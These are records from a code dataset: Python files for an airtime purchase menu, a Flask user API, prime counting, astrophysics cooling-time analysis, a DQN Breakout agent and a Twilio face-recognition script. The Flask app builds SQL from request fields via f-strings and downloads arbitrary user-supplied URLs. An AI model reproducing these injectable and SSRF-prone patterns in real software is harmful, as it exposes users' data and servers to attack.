options[option](account_balance)\n\n\n# When user want to buy airtime\ndef buy_airtime(account_balance=0):\n print(account_balance)\n # Variables tha I will use\n sentence = 'Enter beneficiary number: '\n balance = account_balance\n network = 0\n num = '0'\n\n # Function responsible for checking account balance against amount of airtime to purchase\n def finish_purchasing(number, balanc,):\n amount_to_purchase = int(input('Enter the amount: '))\n if balanc - amount_to_purchase > 0:\n return f'You have successfully purchased Gh{amount_to_purchase} of airtime on the number {number}.'\n else:\n return 'Insufficient account balance'\n\n # Check the validity of inputted number\n def number_len(number):\n if len(number) != 10:\n print('Invalid number')\n else:\n print(finish_purchasing(number=num, balanc=balance))\n\n # Check for correct network operator\n choose_operator = True\n while choose_operator:\n network = int(input(\"Select Network operator:\\n1. MTN\\n2. AirtelTigo\\n3. Vodafone\\n\"))\n if network < 1 or network >= 4:\n print('Invalid selection')\n else:\n num = (input(f'{sentence}(e.g:024xxxxxxx) '))\n number_len(number=num)\n choose_operator = False\n","repo_name":"dannycod3r/Banking-System","sub_path":"home_options.py","file_name":"home_options.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10312893573","text":"from flask import Flask, request, send_file\nfrom db import connect_db\nimport urllib.request\n\napp = Flask(__name__)\n\n# DB\ndb = connect_db(\"my_database\")\ncursor = db.cursor()\n\n@app.route(\"/users\", methods=[\"POST\"])\ndef add_user():\n data = request.get_json()\n\n username = data[\"username\"]\n email = data[\"email\"]\n avatar = data[\"avatar\"]\n\n try:\n cursor.execute(\"CREATE TABLE emp (ID INT AUTO_INCREMENT, username VARCHAR(255), email VARCHAR(255), avatar TEXT, PRIMARY KEY (ID))\")\n except:\n pass\n cursor.execute(f\"INSERT INTO emp (username, email, avatar) VALUES ('{username}', '{email}', '{avatar}')\")\n db.commit()\n\n cursor.execute(f\"SELECT ID FROM emp WHERE username = '{username}'\")\n user_id = cursor.fetchall()[0][0]\n\n urllib.request.urlretrieve(f\"{avatar}\", f\"avatars/{user_id}\")\n return {\"user_id\": user_id}\n\n@app.route(\"/users/\", methods=[\"GET\"])\ndef get_usr(user_id):\n cursor.execute(f\"SELECT username, email FROM emp WHERE ID = '{user_id}'\")\n username, email = cursor.fetchall()[0]\n\n return {\"username\": username, \"email\": email}\n\n@app.route(\"/avatar/\")\ndef get_avatar(user_id):\n filepath = f\"./avatars/{user_id}\"\n return send_file(filepath, mimetype='image/gif')\n\nif __name__ == \"__main__\":\n app.run(debug=True, host=\"0.0.0.0\")\n\n\n \n","repo_name":"SalehBorhani/cloud-skills","sub_path":"Day-01/web-app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23386054159","text":"import time\nfrom pCount import create_and_count, create_and_count_optimized, create_and_count_optimized_with_set\n#from pCount_og import createList\n\ndef main():\n # start_time = time.time()\n # print(createList(2, 100000)) # Should print 9592 for 10k\n # print('Time for original code: ', time.time() - start_time)\n\n # # Now let's compare the performance of the refactored code and the optimized code.\n # start_time = time.time()\n # print(create_and_count(100000)) # Should print 9592 for 10k\n # print('Time for refactored code: ', time.time() - start_time)\n\n # start_time = time.time()\n # print(create_and_count_optimized(100)) # Should print 9592 for 10k\n # print('Time for optimized code: ', time.time() - start_time)\n \n start_time = time.time()\n print(create_and_count_optimized_with_set(1000000)) # Should print 9592 for 10k\n print('Time for optimized code with set: ', time.time() - start_time)\n \n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dennissmith0/Prime_Counting","sub_path":"algorithms/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"33388870203","text":"import numpy as np\n\nclass Pseudo(object):\n\n '''\n Mimics the properties of an ModelOutput array.\n \n Parameters\n ----------\n wav : numpy.ndarray\n * SyntheticCube like: The 1D wavelength of val cube in microns.\n * SyntheticImage like: The 0D wavelength of val image in microns.\n * SyntheticSED like: The 1D wavelengths of val vector in microns.\n * SyntheticFlux like: The 0D wavelength of val scalar in microns.\n \n val : numpy.ndarray\n * SyntheticCube like: The 3D array cube with shape (x, y, wav).\n * SyntheticImage like: The 2D array image with shape (x, y).\n * SyntheticSED like: The 1D array vector with shape like wav.\n * SyntheticFlux like: The 0D array scalar with shape like wav.\n\n units : str\n Unit of val array at input. Valid options are:\n\n * ``'ergs/cm^2/s'``\n * ``'ergs/cm^2/s/Hz'``\n * ``'Jy'``\n * ``'mJy'``\n * ``'MJy/sr'`` (not for SyntheticSED)\n \n distance : str\n Distance to the observed object in cm.\n \n x_min : float \n Physical offset from axis origin in FOV in cm.\n \n x_max : float \n Physical offset from axis origin in FOV in cm.\n \n y_min : float\n Physical offset from axis origin in FOV in cm.\n \n y_max : float \n Physical offset from axis origin in FOV in cm.\n \n lon_min : float\n Minimal longitudinal angle.\n \n lon_max : float\n Maximal longitudinal angle.\n \n lat_min : float\n Minimal latitudinal angle.\n \n lat_max : float\n Maximal latitudinal angle.\n \n pix_area_sr : float\n Pixel area per sr.\n \n ap_min : float\n Minimal aperture of the telescope. Default is ``None``.\n \n ap_max : float\n Maximal aperture of the telescope. Default is ``None``.\n \n \n Returns\n -------\n \n cube : Pseudo like ModelOutput 3D\n 3D val array with ModelOutput properties.\n sed : Pseudo like ModelOutput 1D\n 1D val array with ModelOutput properties.\n '''\n\n def __init__(self, wav, val, origin=None, units=None, distance=None, x_min=None, x_max=None, y_min=None, y_max=None, lon_min=None, lon_max=None, lat_min=None, lat_max=None, pix_area_sr=None, ap_min=None, ap_max=None):\n\n self.wav = np.array(wav)\n self.val = np.array(val)\n \n if origin is not None:\n self.units = origin.units\n self.distance = origin.distance\n self.x_min = origin.x_min\n self.x_max = origin.x_max\n self.y_min = origin.y_min\n self.y_max = origin.y_max\n self.lon_min = origin.lon_min\n self.lon_max = origin.lon_max\n self.lat_min = origin.lat_min\n self.lat_max = origin.lat_max\n self.pix_area_sr = origin.pix_area_sr\n \n from ..cube import SyntheticCube\n from ..image import SyntheticImage\n \n if not isinstance(origin, SyntheticImage) and not isinstance(origin, SyntheticCube):\n if ap_min is None or ap_max is None:\n raise Exception('ap_min and ap_max need to be defined.')\n else:\n self.ap_min = ap_min\n self.ap_max = ap_max\n else:\n self.ap_min = None\n self.ap_max = None\n \n\n else:\n if units is not None and distance is not None and x_min is not None and x_max is not None and y_min is not None and y_max is not None and lon_min is not None and lon_max is not None and lat_min is not None and lat_max is not None and pix_area_sr is not None:\n self.units = units\n self.distance = distance\n self.x_min = x_min\n self.x_max = x_max\n self.y_min = y_min\n self.y_max = y_max\n self.lon_min = lon_min\n self.lon_max = lon_max\n self.lat_min = lat_min\n self.lat_max = lat_max\n self.pix_area_sr = pix_area_sr\n self.ap_min = ap_min\n self.ap_max = ap_max\n else:\n raise Exception('Either origin must be defined or units, ... , pix_area_sr must be defined.')\n","repo_name":"koepferl/FluxCompensator","sub_path":"fluxcompensator/utils/pseudo.py","file_name":"pseudo.py","file_ext":"py","file_size_in_byte":4368,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"1601804785","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 11 20:26:06 2023\n\n@author: konstantinos\n\nCalculates the optical depth. \nAssuming radiation escapes in the z direction.\nUses that to get the cooling time. \n\nALL Z NEED TO BE BEFORE ALL R FOR MY INTEGRATOR TO WORK\n\"\"\"\n\n# Vanilla Imports\nimport numpy as np\nimport numba\n# Custom Imports\nfrom src.Calculators.casters import THE_CASTER, THE_SMALL_CASTER\nfrom src.Calculators.romberg import romberg\nfrom src.Extractors.time_extractor import days_since_distruption\nfrom src.Optical_Depth.opacity_table import opacity\nfrom scipy.interpolate import RegularGridInterpolator\n \nalice = False\n\nif not alice:\n import matplotlib.pyplot as plt\n import matplotlib.colors as colors\n import colorcet\n import matplotlib.patheffects as PathEffects\n AEK = '#F1C410' # Important color\n \n# Constants\nG = 6.6743e-11 # SI\nMsol = 1.98847e30 # kg\nRsol = 6.957e8 # m\nMsol_to_g = 1.989e33\nRsol_to_cm = 6.957e10\nt = np.sqrt(Rsol**3 / (Msol*G )) # Follows from G=1\n# Need for PW pot\nc_sim = 3e8 * t/Rsol # c in simulator units.\n\n@numba.njit\ndef opacity_estimate(rho,T):\n # In CGS\n X = 0.7 # x is actually 0.7\n constant = 3.6e22\n kt = 0.2 * (1+X) # Thompson \n k = constant * (1+X) * rho * T**(-7/2) + kt # Free free thompson\n return k\n\ndef opt_depth(z, r, rho, T):\n rz = rho((z,r))\n Tz = T((z,r))\n tau = rz * opacity_estimate(rz, Tz)\n return tau\n\ndef scale_height(zs, rs, d, zmax = False):\n h = np.zeros_like(rs)\n idxs = np.zeros_like(rs)\n \n for i, r in enumerate(rs):\n # Get the densities for said r\n rhos = d[:,i]\n \n if zmax:\n # Find in which z, this is maximum\n idx = np.argmax(rhos)\n h[i] = zs[idx]\n idxs[i] = idx\n else:\n first = rhos[0]\n for j, rho in enumerate(rhos):\n if rho > first / np.exp(1):\n idx = j\n h[i] = zs[idx]\n idxs[i] = idx\n break\n idx = j\n h[i] = zs[idx]\n idxs[i] = idx\n \n return h, idxs\n \ndef z_rho_T(m, fix, pixel_num, max_z, alice):\n # BH specific constants\n Mbh = 10**m\n Rt = Mbh**(1/3) # Msol = 1, Rsol = 1\n apocenter = 2 * Rt * Mbh**(1/3)\n t_fall = 40 * (Mbh/1e6)**(0.5) # days EMR+20 p13\n # rg = 2*Mbh/c**2\n \n # Choose snapshot\n fix = str(fix)\n\n if alice:\n if m==4:\n folder = 'tde_data2new/snap_' + fix\n if m==6:\n folder = 'tde_data/snap_' + fix\n else:\n folder = fix\n \n days = np.round(days_since_distruption(folder + '/snap_'+fix+'.h5')/t_fall,2) \n if alice and m==6:\n M = np.load(folder + '/Mass__' + fix + '.npy')\n else:\n M = np.load(folder + '/Mass_' + fix + '.npy')\n \n # # CM Position Data\n X = np.load(folder + '/CMx_' + fix + '.npy')\n Y = np.load(folder + '/CMy_' + fix + '.npy')\n R = np.sqrt(X**2 + Y**2)\n Z = np.load(folder + '/CMz_' + fix + '.npy')\n\n # Import Density\n Den = np.load(folder + '/Den_' + fix + '.npy')\n T = np.load(folder + '/T_' + fix + '.npy')\n\n # Convert to cgs\n converter = Msol_to_g / Rsol_to_cm**3\n Den *= converter\n # Z *= Rsol_to_cm\n \n # EVOKE\n # start from rg or something in z\n zs = np.linspace(0.2 * Rt, max_z, num = pixel_num)\n radii = np.linspace(0.1*2*Rt, apocenter, num = pixel_num)\n Den_cast = THE_CASTER(zs, Z, radii, R, \n Den, weights = M, avg = False)\n T_cast = THE_CASTER( zs, Z, radii, R,\n T, weights = M, avg = True)\n \n Den_cast = np.nan_to_num(Den_cast)\n T_cast = np.nan_to_num(T_cast)\n \n # Ratio\n ie = np.load(folder + '/IE_' + fix + '.npy')\n rad = np.load(folder + '/Rad_' + fix + '.npy')\n ratio = ie/rad\n ratio_cast = THE_SMALL_CASTER(radii, R, \n ratio, weights = M, avg = True)\n ratio_cast = np.nan_to_num(ratio_cast)\n \n return zs, radii, Den_cast, T_cast, days, ratio_cast\n\n#%% Get Z, rho, T\nfixes4 = np.arange(177, 263+1)\nfixes6 = np.arange(683, 1008+1)\nmax_z4 = 50\nmax_z6 = 300\npixel_num4 = 100\npixel_num6 = 100\nif alice:\n tc4 = []\n tc6 = []\n for fix4 in fixes4:\n # Cast\n z4, r4, d4, t4, days4, ratio4 = z_rho_T(4, fix4, pixel_num4, max_z4, alice)\n \n # Interpolate\n d4_inter = RegularGridInterpolator((z4, r4), d4)\n t4_inter = RegularGridInterpolator((z4, r4), t4)\n \n # Calculate Optical Depth\n opt4 = np.zeros_like(r4)\n for i, r in enumerate(r4):\n Mbh4 = 10**4\n Rt4 = Mbh4**(1/3) # Msol = 1, Rsol = 1\n opt4[i] = romberg(0.2 * Rt4 ,max_z4, opt_depth, r,\n d4_inter, t4_inter) # Rsol / cm \n \n # Constants\n converter = Rsol_to_cm\n t_fall_4 = 40 * (Mbh4/1e6)**(0.5) # days EMR+20 p13\n apocenter4 = 2 * Rt4 * Mbh4**(1/3)\n\n # Scale height, convert to cgs\n h4, _ = scale_height(z4, r4, d4) \n # h4 = max_z4\n h4 *= converter\n sec_to_days = 60*60*24\n \n # Cooling time\n t_cool_4 = h4*opt4/(2*c_sim) # sim units -> days\n t_cool_4 *= sec_to_days / t_fall_4\n \n # Store\n tc4.append( t_cool_4)\n print('4 is finished, moving on to 6')\n # Again\n for fix6 in fixes6:\n # Cast\n z6, r6, d6, t6, days6, ratio6 = z_rho_T(6, fix6, pixel_num6, max_z6, alice)\n \n # Interpolate\n d6_inter = RegularGridInterpolator((z6, r6), d6)\n t6_inter = RegularGridInterpolator((z6, r6), t6)\n \n # Calculate Optical Depth\n opt6 = np.zeros_like(r6)\n for i, r in enumerate(r6):\n Mbh6 = 10**6\n Rt6 = Mbh6**(1/3) # Msol = 1, Rsol = 1\n opt6[i] = romberg(0.2 * Rt6 ,max_z6, opt_depth, r,\n d6_inter, t6_inter) # Rsol / cm \n \n # Constants\n converter = Rsol_to_cm\n t_fall_6 = 60 * (Mbh6/1e6)**(0.5) # days EMR+20 p13\n apocenter6 = 2 * Rt6 * Mbh6**(1/3)\n\n # Scale height, convert to cgs\n h6, _ = scale_height(z6, r6, d6) \n # h6 = max_z6\n h6 *= converter\n sec_to_days = 60*60*24\n \n # Cooling time\n t_cool_6 = h6*opt6/(2*c_sim) # sim units -> days\n t_cool_6 *= sec_to_days / t_fall_6\n \n # Store\n tc6.append( t_cool_6)\n \n # Save\n savepath = 'products/cooling-time/'\n np.save(savepath + 'tc4', tc4)\n np.save(savepath + 'tc6', tc6)\n\n \nelse:\n fix4 = 210\n fix6 = 820\n z4, r4, d4, t4, days4, ratio4 = z_rho_T(4, fix4, pixel_num4, max_z4, alice)\n z6, r6, d6, t6, days6, ratio6 = z_rho_T(6, fix6, pixel_num6, max_z6, alice)\n \n # Interpolate\n d4_inter = RegularGridInterpolator((z4, r4), d4)\n t4_inter = RegularGridInterpolator((z4, r4), t4)\n d6_inter = RegularGridInterpolator((z6, r6), d6)\n t6_inter = RegularGridInterpolator((z6, r6), t6)\n\n \n #%% Integrate\n opt4 = np.zeros_like(r4)\n for i, r in enumerate(r4):\n Mbh = 10**4\n Rt = Mbh**(1/3) # Msol = 1, Rsol = 1\n opt4[i] = romberg(0.2 * Rt ,max_z4, opt_depth, r,\n d4_inter, t4_inter) # Rsol / cm \n \n opt6 = np.zeros_like(r6)\n for i, r in enumerate(r6): \n Mbh = 10**6\n Rt = Mbh**(1/3) # Msol = 1, Rsol = 1\n opt6[i] = romberg(0.2 * Rt,max_z6, opt_depth, r,\n d6_inter, t6_inter) # Rsol / cm\n\n#%% Calculate cooling time\n# I realize this code is clunkster central but it is a proof of concept\n\n # Convert zs to cgs\n converter = Rsol_to_cm\n # c = 3e10\n \n # Get t_fall in days\n Mbh = 10**4\n Rt4 = Mbh**(1/3) # Msol = 1, Rsol = 1\n t_fall_4 = 40 * (Mbh/1e6)**(0.5) # days EMR+20 p13\n apocenter4 = 2 * Rt4 * Mbh**(1/3)\n # sim_to_days = t / (60*60*24)\n \n # Calculate scale height, convert to cgs\n h4, idxs4 = scale_height(z4, r4, d4) \n # h4 = max_z4\n h4 *= converter\n \n sec_to_days = 60*60*24\n # Cooling time\n t_cool_4 = h4*opt4/(2*c_sim) # sim units -> days\n t_cool_4 *= sec_to_days / t_fall_4\n \n # Again for 10^6\n Mbh = 10**6\n Rt6 = Mbh**(1/3) # Msol = 1, Rsol = 1\n t_fall_6 = 40 * (Mbh/1e6)**(0.5) # days EMR+20 p13\n apocenter6 = 2 * Rt6 * Mbh**(1/3)\n \n h6, idxs6 = scale_height(z6, r6, d6)\n # h6 = max_z6\n h6 *= converter\n \n t_cool_6 = h6*opt6/(2*c_sim) # sim units -> days\n t_cool_6 *= sec_to_days / t_fall_6\n \n # Using the scale height, calculate the ratio for the relevant range\n # ratio4_mean = np.zeros_like(r4)\n # for i, idx in enumerate(idxs4):\n # idx = int(idx)\n # ratio4_mean[i] = np.mean(ratio4[:idx,i])\n # ratio6_mean = np.zeros_like(r6) \n # for i, idx in enumerate(idxs6):\n # idx = int(idx)\n # ratio6_mean[i] = np.mean(ratio6[:idx,i]) \n \n # Import internal and radiative energies\n t_cool_4_ratio = h4 * opt4 / (c_sim * (1 + ratio4))\n t_cool_4_ratio *= sec_to_days / t_fall_4\n \n t_cool_6_ratio = h6 * opt6 / (c_sim * (1 + ratio6))\n t_cool_6_ratio *= sec_to_days / t_fall_6\n \n #%% Plotting\nif alice == False:\n fig, ax = plt.subplots(2,1, figsize = (8,6), tight_layout = True)\n ax[0].plot(r4/apocenter4, t_cool_4, \n '-h', color = AEK, label = '$10^4 M_\\odot$', \n markersize = 5)\n ax[0].plot(r6/apocenter6, t_cool_6, \n '-h', color = 'k', label = '$10^6 M_\\odot$',\n markersize = 5)\n ax[0].set_yscale('log')\n ax[0].set_xlabel('r [r/R$_a$]')\n ax[0].set_ylabel(r'$\\left[ t_c/t_{FB} \\right]$')\n ax[0].legend()\n ax[0].grid()\n\n \n ax[0].axvline(Rt4/apocenter4, color = 'r', linestyle = 'dashed')\n ax[0].axvline(Rt6/apocenter6, color = 'maroon', linestyle = 'dashed')\n ax[0].text(0.07, 0.7, '$10^4 M_\\odot$ $R_P$', \n color = 'r', rotation = 90, \n transform = ax[0].transAxes)\n ax[0].text(0.02, 0.7, '$10^6 M_\\odot$ $R_P$', \n color = 'Maroon', rotation = 90, \n transform = ax[0].transAxes)\n ax[0].set_title('Assuming ugas/urad = 1')\n \n # With the ratio\n ax[1].plot(r4/apocenter4, t_cool_4_ratio, \n '-h', color = AEK, label = '$10^4 M_\\odot$', \n markersize = 5)\n ax[1].plot(r6/apocenter6, t_cool_6_ratio, \n '-h', color = 'k', label = '$10^6 M_\\odot$',\n markersize = 5)\n ax[1].set_yscale('log')\n ax[1].set_xlabel('r [r/R$_a$]')\n ax[1].set_ylabel(r'$\\left[ t_c/t_{FB} \\right]$')\n ax[1].legend()\n ax[1].grid()\n\n \n ax[1].axvline(Rt4/apocenter4, color = 'r', linestyle = 'dashed')\n ax[1].axvline(Rt6/apocenter6, color = 'maroon', linestyle = 'dashed')\n ax[1].text(0.07, 0.7, '$10^4 M_\\odot$ $R_P$', \n color = 'r', rotation = 90, \n transform = ax[1].transAxes)\n ax[1].text(0.02, 0.7, '$10^6 M_\\odot$ $R_P$', \n color = 'Maroon', rotation = 90, \n transform = ax[1].transAxes)\n ax[1].set_title('Assuming ugas/urad is not 1')\n \n \n from src.Utilities.finished import finished\n finished()\n\n#%% Interpolation\n# if alice == False:\n plt.rcParams['text.usetex'] = True\n plt.rcParams['figure.dpi'] = 300\n plt.rcParams['font.family'] = 'Times New Roman'\n plt.rcParams['axes.facecolor']= \t'whitesmoke'\n \n fig, ax = plt.subplots(2,1, figsize = (5,6), tight_layout = True)\n\n ax[0].scatter(z6, d6[:,5], c='k', marker='h', label='True Points')\n ax[0].plot(z6, d6_inter((z6, r6[5])), c=AEK, label = 'Interpolation')\n\n ax[1].scatter(z4, d4[:,5], c='k', marker='h', label='True Points')\n ax[1].plot(z4, d4_inter((z4, r4[5])), c=AEK, label = 'Interpolation')\n\n ax[0].set_title(r'$10^6 M_\\odot$' )\n ax[0].set_xlabel(r'$z$ [$R_\\odot $]')\n ax[0].set_ylabel(r'$\\rho$ [$M_\\odot/R_\\odot^3$]')\n ax[0].grid()\n ax[0].legend()\n ax[1].set_xlabel(r'$z$ [$R_\\odot $]')\n ax[1].set_ylabel(r'$\\rho$ [$M_\\odot/R_\\odot^3$]')\n ax[1].set_title(r'$10^4 M_\\odot$' )\n ax[1].grid()\n ax[1].legend()\n \n ax[0].set_yscale('log')\n ax[1].set_yscale('log')\n \n fig, ax = plt.subplots(2,1, figsize = (5,6), tight_layout = True, sharex = True)\n\n ax[0].set_ylabel(r'$\\rho$ [$M_\\odot/R_\\odot^3$]')\n ax[0].set_title(r'$10^6 M_\\odot$' )\n ax[0].grid()\n ax[1].set_ylabel(r'$\\rho$ [$M_\\odot/R_\\odot^3$]')\n ax[1].set_title(r'$10^4 M_\\odot$' )\n ax[1].grid()\n plt.xlabel(r'$r$ [$R_\\odot $]')\n \n ax[0].scatter(r6/apocenter6, d6[5,:], c='k', marker='h', label='True Points')\n ax[0].plot(r6/apocenter6, d6_inter((z6[5], r6)), c=AEK, label = 'Interpolation')\n\n ax[1].scatter(r4/apocenter4, d4[5,:], c='k', marker='h', label='True Points')\n ax[1].plot(r4/apocenter4, d4_inter((z4[5], r4)), c=AEK, label = 'Interpolation')\n \n#%% Explore optical depth\n opt6 = np.nan_to_num(opt6)\n opt6 *= Rsol_to_cm\n opt4 = np.nan_to_num(opt4)\n opt4 *= Rsol_to_cm\n \n #%%\n fig, ax = plt.subplots(1,2, figsize = (10,5), tight_layout = True, sharex = True)\n ax[0].plot(r6/apocenter6, opt6, c = 'k', label = '$10^6 M_\\odot$')\n ax[0].plot(r4/apocenter4, opt4, c = AEK, label = '$10^4 M_\\odot$')\n \n ax[0].set_title('Optical Depth', fontsize = 25 )\n ax[0].set_yscale('log')\n ax[0].set_ylabel(r'$\\tau (r) $', fontsize = 18) # '/ \\tau_{MAX}$')\n ax[0].set_xlabel(r'Distance from BH $[r/R_a]$', fontsize = 18)\n ax[0].grid()\n ax[0].legend(loc = 'lower right')\n \n \n # uint/urad\n ax[1].plot(r6/apocenter6, ratio6, c = 'k', label = '$10^6 M_\\odot$')\n ax[1].plot(r4/apocenter4, ratio4, c = AEK, label = '$10^4 M_\\odot$')\n \n ax[1].set_title('Specific Energies Ratio', fontsize = 25)\n ax[1].set_yscale('log')\n ax[1].set_ylabel(r'$u_{Gas} / u_{Rad}$', fontsize = 18)\n ax[1].set_xlabel(r'Distance from BH $[r/R_a]$' , fontsize = 18)\n ax[1].grid()\n ax[1].legend(loc = 'lower right')\n \n \n","repo_name":"KKilmetis8/tde_comparison","sub_path":"OLD stuff/optical-depth.py","file_name":"optical-depth.py","file_ext":"py","file_size_in_byte":14094,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"27954300868","text":"import numpy as np\nimport gym\nimport tensorflow as tf\nfrom gym.wrappers.monitoring.video_recorder import VideoRecorder\nfrom collections import deque, Counter\nfrom tensorflow.contrib.layers import flatten, conv2d, fully_connected\nimport random\nfrom datetime import datetime\nfrom gym import wrappers\nfrom time import time\n\n\n# initialize variables\nRGB = np.array([210, 164, 74]).mean()\nSTEPS_PER_EPSILON = 500000\nDELAY = 20000\nEPISODES = 1200\nBATCH_SIZE = 50\nLEARNING_RATE = 0.1\nDISCOUNT_FACTOR = 0.97\nINPUT_SHAPE = (None, 88, 80, 1)\nX_SHAPE = (None, 88, 80, 1)\n\n# Epsilon value and thresholds\nEPSILON = 0.5\nMIN_EPSILON = 0.05\nMAX_EPSILON = 1\n\n# Variables for training iterations\nTRAINING_STEPS = 4\nSTART_STEPS = 2000\nCOPY_STEPS = 100\n\nexp_buffer = deque(maxlen=DELAY)\nglobal_step = 0\n\n\ndef preprocess_image(obs):\n \"\"\"Reshape game input from OpenAI gym to fit model input shape\n\n Parameters:\n obs -- The current frame of the video game from OpenAI Gym\n \"\"\"\n res = obs[1:176:2, ::2]\n res = res.mean(axis=2)\n res[res == RGB] = 0\n res = (res-128)/128 - 1\n return res.reshape(88, 80, 1)\n\n\ndef dqn(x, scope, n_outputs):\n \"\"\"Generate Deep Q Network.\n\n Parameters:\n x -- Random value populated empty Q table\n scope -- Type of table to generate, either mainQ or targetQ\n n_outputs -- number of possible actions to take\n \"\"\"\n initializer = tf.contrib.layers.variance_scaling_initializer()\n with tf.variable_scope(scope) as cur_scope:\n layer1 = conv2d(x, num_outputs=32, kernel_size=(\n 8, 8), stride=4, padding='SAME', weights_initializer=initializer)\n tf.summary.histogram('layer1', layer1)\n\n layer2 = conv2d(layer1, num_outputs=64, kernel_size=(\n 4, 4), stride=2, padding='SAME', weights_initializer=initializer)\n tf.summary.histogram('layer2', layer2)\n\n layer3 = conv2d(layer2, num_outputs=64, kernel_size=(\n 3, 3), stride=1, padding='SAME', weights_initializer=initializer)\n tf.summary.histogram('layer3', layer3)\n\n flat = flatten(layer3)\n\n fully_con = fully_connected(\n flat, num_outputs=128, weights_initializer=initializer)\n tf.summary.histogram('fully_con', fully_con)\n\n output = fully_connected(fully_con, num_outputs=n_outputs,\n activation_fn=None, weights_initializer=initializer)\n tf.summary.histogram('output', output)\n\n params = {v.name[len(cur_scope.name):]: v for v in tf.get_collection(\n key=tf.GraphKeys.TRAINABLE_VARIABLES, scope=cur_scope.name)}\n return params, output\n\n\ndef get_sample(batch_size):\n \"\"\"Generate sample output for actions and reward calculation.\n\n Parameters:\n batch_size -- size of table output\n \"\"\"\n perm_batch = np.random.permutation(len(exp_buffer))[:batch_size]\n mem = np.array(exp_buffer)[perm_batch]\n return mem[:, 0], mem[:, 1], mem[:, 2], mem[:, 3], mem[:, 4]\n\n\ndef epsilon_greedy(action, step):\n \"\"\"Generate suggestied action using greedy epsion algorithm.\n\n Parameters:\n action -- The default action to be made.\n step -- Helper variable to calculate epsilon value.\n \"\"\"\n epsilon = max(MIN_EPSILON, MAX_EPSILON -\n (MAX_EPSILON - MIN_EPSILON) * step/STEPS_PER_EPSILON)\n if np.random.rand() < epsilon:\n return np.random.randint(n_outputs)\n else:\n return action\n\n\nenv = gym.make(\"Breakout-v0\")\nn_outputs = env.action_space.n\ntf.reset_default_graph()\n\nx = tf.placeholder(tf.float32, shape=X_SHAPE)\ny = tf.placeholder(tf.float32, shape=(None, 1))\nin_training_mode = tf.placeholder(tf.bool)\n\nmain_dqn, main_dqn_outputs = dqn(x, 'mainQ', n_outputs)\ntarget_dqn, target_dqn_outputs = dqn(x, 'targetQ', n_outputs)\n\nx_action = tf.placeholder(tf.int32, shape=(None,))\nq_action = tf.reduce_sum(\n target_dqn_outputs * tf.one_hot(x_action, n_outputs), axis=-1, keep_dims=True)\n\ncopy_operation = [tf.assign(main_name, target_dqn[var_name])\n for var_name, main_name in main_dqn.items()]\ncopy_target_to_main = tf.group(*copy_operation)\n\nloss = tf.reduce_mean(tf.square(y-q_action))\noptimizer = tf.train.AdamOptimizer(LEARNING_RATE)\ntraining_operation = optimizer.minimize(loss)\n\ninit = tf.global_variables_initializer()\n\nloss_summary = tf.summary.scalar('LOSS', loss)\nmerge_summary = tf.summary.merge_all()\n\nwith tf.Session() as session:\n init.run()\n\n for i in range(EPISODES):\n done = False\n obs = env.reset()\n env.render()\n epoch = 0\n episodic_reward = 0\n actions_counter = Counter()\n episodic_loss = []\n\n print(i)\n\n while not done:\n \n env.render()\n obs = preprocess_image(obs)\n actions = main_dqn_outputs.eval(\n feed_dict={x: [obs], in_training_mode: False})\n action = np.argmax(actions, axis=-1)\n actions_counter[str(action)] += 1\n action = epsilon_greedy(action, global_step)\n next_obs, reward, done, _ = env.step(action)\n exp_buffer.append(\n [obs, action, preprocess_image(next_obs), reward, done])\n\n if global_step % TRAINING_STEPS == 0 and global_step > START_STEPS:\n o_obs, o_act, o_next_obs, o_reward, o_done = get_sample(\n BATCH_SIZE)\n o_obs = [x for x in o_obs]\n o_next_obs = [x for x in o_next_obs]\n next_act = main_dqn_outputs.eval(\n feed_dict={x: o_next_obs, in_training_mode: False})\n y_batch = o_reward + DISCOUNT_FACTOR * \\\n np.max(next_act, axis=-1) * (1-o_done)\n\n train_loss, _ = session.run([loss, training_operation], feed_dict={x: o_obs, y: np.expand_dims(y_batch, axis=-1),\n x_action: o_act, in_training_mode: True})\n episodic_loss.append(train_loss)\n\n if (global_step+1) % COPY_STEPS == 0 and global_step > START_STEPS:\n copy_target_to_main.run()\n\n obs = next_obs\n epoch += 1\n global_step += 1\n episodic_reward += reward\n","repo_name":"npapano42/AtariQLearning188","sub_path":"atari_q_learning.py","file_name":"atari_q_learning.py","file_ext":"py","file_size_in_byte":6209,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"6480076599","text":"from secrets import TWILIO_SID, TWILIO_AUTH_TOKEN\nimport requests\nimport json\nfrom twilio.rest import TwilioRestClient\nimport serial\nimport time\nimport threading\nfrom mongo_setup import USER_COLLECTION, PENDING_COLLECTION, GALLERY_VERSION\nimport kairos\nimport os\nimport fnmatch\n\nBAUD_RATE = 9600\nDEFAULT_GALLERY = 'gallery' + str(GALLERY_VERSION.find_one().get('version'))\nSERIAL_CONNECTION = [None]\n\n# db helpers\ndef reset_db():\n # wipe dbs\n USER_COLLECTION.remove()\n PENDING_COLLECTION.remove()\n\n # update gallery id\n GALLERY_VERSION.update({}, { '$inc': {'version': 1}})\n\n global DEFAULT_GALLERY\n version = GALLERY_VERSION.find_one().get('version')\n DEFAULT_GALLERY = 'gallery' + str(version)\n print('version now ' + DEFAULT_GALLERY)\n\n # add user to new gallery\n name = 'Adam'\n img_url = 'http://files.parsetfss.com/c314ef28-203e-4df7-8043-6898ff73593d/tfss-28df3310-1945-492b-96eb-f39ab493efea-img-31-12-14--11-25-20.png'\n kairos_id = kairos.add_face_url(img_url, name, DEFAULT_GALLERY)\n if kairos_id:\n user = {'name': name,\n 'phone': 'XXXXXXXXXXX',\n 'admin': True,\n 'img_url': img_url,\n 'kairos_id': kairos_id}\n USER_COLLECTION.insert(user)\n \n else:\n print('reset_db: could not add default admin to kairos')\n\n\n# SMS helpers\ndef 